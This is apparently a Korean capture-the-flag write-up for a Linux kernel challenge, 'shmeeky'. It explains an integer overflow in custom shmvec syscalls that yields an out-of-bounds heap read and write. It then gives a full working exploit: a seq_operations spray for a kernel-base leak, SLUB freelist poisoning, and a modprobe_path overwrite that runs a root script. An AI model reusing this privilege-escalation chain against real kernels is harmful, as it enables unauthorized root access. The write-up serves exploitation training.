shmeeky

취약점 분석

1. shmvec_init()의 integer overflow

shmvec_init()은 사용자가 전달한 countsizeof(uint64_t)를 곱해서 할당 크기를 계산한다. 하지만 곱셈 결과에 대한 overflow 검사가 없다. countuint64_t이므로 큰 값을 전달하면 count * 8이 64-bit 범위에서 wraparound되어 작은 값이 된다.

예를 들어 count = 0x2000000000000004를 전달하면 실제 할당 크기는 0x20이 된다. 반면 shmvec_state.length에는 overflow 전의 거대한 count가 저장된다. 이로 인해 실제로는 kmalloc-32 객체 하나만 할당됐는데, 이후 shmvec_get()shmvec_set()에서는 매우 큰 범위까지 접근할 수 있다.

SYSCALL_DEFINE1(shmvec_init, uint64_t, count)
{
	if((count * sizeof(uint64_t)) < 128 * 1000 * 1000) {
		shmvec_state.vec = (uint64_t*) kmalloc(count * sizeof(uint64_t), GFP_KERNEL);
		shmvec_state.length = count;
		return 0;
	} else {
		return -1;
	}
}

2. shmvec_get() / shmvec_set()의 OOB read/write

shmvec_get()shmvec_set()index < shmvec_state.length만 검사한다. 하지만 length는 실제 할당 크기와 불일치할 수 있다. 따라서 overflow로 작은 객체를 할당한 뒤 큰 length를 유지하면, 할당 객체 뒤쪽의 SLUB 객체들을 읽고 쓸 수 있다.

이 primitive로 kmalloc-32에 배치된 seq_operations 객체를 leak하고, close 후 freed object의 SLUB freelist pointer를 덮어 modprobe_path를 할당받는 freelist poisoning을 수행할 수 있다.

SYSCALL_DEFINE2(shmvec_set, uint64_t, index, uint64_t, data)
{
	if(shmvec_state.vec && index < shmvec_state.length) {
		shmvec_state.vec[index] = data;
		return 0;
	} else {
		return -1;
	}
}
 
SYSCALL_DEFINE2(shmvec_get, uint64_t, index, uint64_t __user *, dest )
{
	if(shmvec_state.vec && index < shmvec_state.length) {
		put_user(shmvec_state.vec[index], dest);
		return 0;
	} else {
		return -1;
	}
}

추가 문제점

shmvec_state는 전역 상태인데 락이 없다. 여러 스레드나 프로세스가 동시에 syscall을 호출하면 race condition이 가능하다. 또한 kmalloc() 실패 체크가 없고, put_user() 반환값도 검사하지 않는다.

Exploit 과정

Step 1: overflow로 kmalloc-32 OOB primitive 생성

count = 0x2000000000000004를 전달하면 count * 8이 overflow되어 실제 할당 크기는 0x20이 된다. 하지만 length는 큰 값으로 저장되므로 shmvec_get()shmvec_set()으로 kmalloc-32 인접 객체를 OOB 접근할 수 있다.

uint64_t count = 0x2000000000000004;
syscall(600, count); // shmvec_init

Step 2: seq_operations spray

/proc/self/stat를 여러 번 열면 seq_operations 객체가 kmalloc-32에 할당된다. seq_operations는 함수 포인터를 포함하므로 kernel text pointer leak에 적합하다.

for (int i = 0; i < 0x40; i++)
    spray[i] = open("/proc/self/stat", O_RDONLY);

Step 3: kernel base와 modprobe_path 주소 계산

OOB read로 seq_operations 내부 함수 포인터를 읽는다. 현재 코드에서는 data[10]single_next가 있다고 가정하고 0x239110 offset을 빼 kernel base를 계산한다.

for (int i = 0; i < 0x40; i++)
    syscall(603, i, &data[i]);
 
kernel_base = data[10] - 0x239110;
modprobe_path = kernel_base + 0x1850DA0;

Step 4: sprayed fd close 후 freelist pointer overwrite

spray한 fd를 모두 닫으면 seq_operations 객체들이 free된다. SLUB는 freed object 내부에 freelist pointer를 저장한다. 이 환경에서는 seq_operationsnext 필드 위치인 +0x10에 freelist pointer가 놓인다.

현재 코드에서는 OOB index 10이 해당 freepointer 위치라고 보고 modprobe_path 주소로 덮는다.

for (int i = 0; i < 0x40; i++)
    close(spray[i]);
 
syscall(602, 10, modprobe_path);

Step 5: freelist poisoning으로 modprobe_path 할당받기

이후 shmvec_init()을 반복 호출해서 kmalloc-32 freelist를 소비한다. 어느 순간 poisoned freelist가 사용되면 shmvec_state.vecmodprobe_path를 가리킨다.

이를 확인하기 위해 index 0, index 1을 읽어 "/sbin/modprobe" 문자열의 qword와 비교한다.

uint64_t modprobe_q0 = 0x6f6d2f6e6962732f; // "/sbin/mo"
uint64_t modprobe_q1 = 0x000065626f727064; // "dprobe\0\0"
 
for (int n = 0; n < 0x100; n++)
{
    uint64_t q0 = 0;
    uint64_t q1 = 0;
 
    syscall(600, count);
    syscall(603, 0, &q0);
    syscall(603, 1, &q1);
 
    if (q0 == modprobe_q0 && q1 == modprobe_q1)
        break;
}

Step 6: modprobe_path/tmp/ex로 overwrite

shmvec_state.vec == modprobe_path가 된 상태에서 index 0"/tmp/ex\0" qword를 쓴다. 포인터 값을 쓰는 것이 아니라 문자열 바이트 자체를 qword로 써야 한다.

char payload[8] = "/tmp/ex\0";
syscall(602, 0, *(uint64_t *)payload);

Step 7: unknown binary 실행으로 modprobe trigger

알 수 없는 magic bytes를 가진 실행 파일을 실행하면 kernel이 modprobe_path를 통해 usermode helper를 실행한다. modprobe_path/tmp/ex로 바뀌었으므로 /tmp/ex가 root 권한으로 실행되고 flag를 /tmp/flag로 복사한다.

system("echo -ne '#!/bin/sh\n' > /tmp/ex");
system("echo -ne 'cat /dev/sda > /tmp/flag\n' >> /tmp/ex");
system("chmod 777 /tmp/ex");
 
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod 777 /tmp/dummy");
system("/tmp/dummy");
 
system("cat /tmp/flag");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
int main()
{
    important("happy hacking!");
 
    uint64_t count = 0x2000000000000004;
    uint64_t data[0x40] = {0};
    uint64_t spray[0x40] = {0};
    uint64_t kernel_base, modprobe_path;
 
    syscall(600, count); // shmvec_init
 
    // heap spray
    for (int i = 0; i < 0x40; i++)
        spray[i] = open("/proc/self/stat", O_RDONLY);
    info("spray done");
 
    // leak kernel base address
    for (int i = 0; i < 0x40; i++)
        syscall(603, i, &data[i]); // shmvec_get
    kernel_base = data[10] - 0x239110;
    modprobe_path = kernel_base + 0x1850DA0;
    info("kernel base: %p", kernel_base);
    info("modprobe_path: %p", modprobe_path);
 
    // close all
    for (int i = 0; i < 0x40; i++)
        close(spray[i]);
    info("close done");
 
    // check memory for debugging
    for (int i = 0x40 - 1; i >= 0; i--)
        syscall(603, i, &data[i]); // shmvec_get
    hexdump(data, 0x40 * sizeof(uint64_t));
 
    // overwrite freelist pointer
    syscall(602, 10, modprobe_path);
 
    // kmalloc until we get the modprobe_path pointer
    uint64_t modprobe_q0 = 0x6f6d2f6e6962732f; // "/sbin/mo"
    uint64_t modprobe_q1 = 0x000065626f727064; // "dprobe\0\0"
    int found = 0;
 
    for (int n = 0; n < 0x100; n++)
    {
        uint64_t q0 = 0;
        uint64_t q1 = 0;
 
        syscall(600, count);  // kmalloc-32 consume
        syscall(603, 0, &q0); // *(uint64_t *)vec
        syscall(603, 1, &q1); // *(uint64_t *)(vec + 8)
 
        if (q0 == modprobe_q0 && q1 == modprobe_q1)
        {
            info("alloc %d: %p %p", n, (void *)q0, (void *)q1);
            found = 1;
            break;
        }
    }
    if (!found)
        error("failed to allocate modprobe_path");
    else
        info("successfully allocated modprobe_path");
 
    // setting /tmp/ex
    system("echo -ne '#!/bin/sh\n' > /tmp/ex");
    system("echo -ne 'cat /dev/sda > /tmp/flag\n' >> /tmp/ex");
    system("chmod 777 /tmp/ex");
    info("/tmp/ex created");
 
    // overwrite modprobe_path with /tmp/ex
    char payload[8] = "/tmp/ex\0";
    syscall(602, 0, *(uint64_t *)payload); // overwrite modprobe_path with /tmp/ex
 
    // trigger modprobe_path
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod 777 /tmp/dummy");
    system("/tmp/dummy");
 
    // read the flag
    system("cat /tmp/flag");
 
    return 0;
}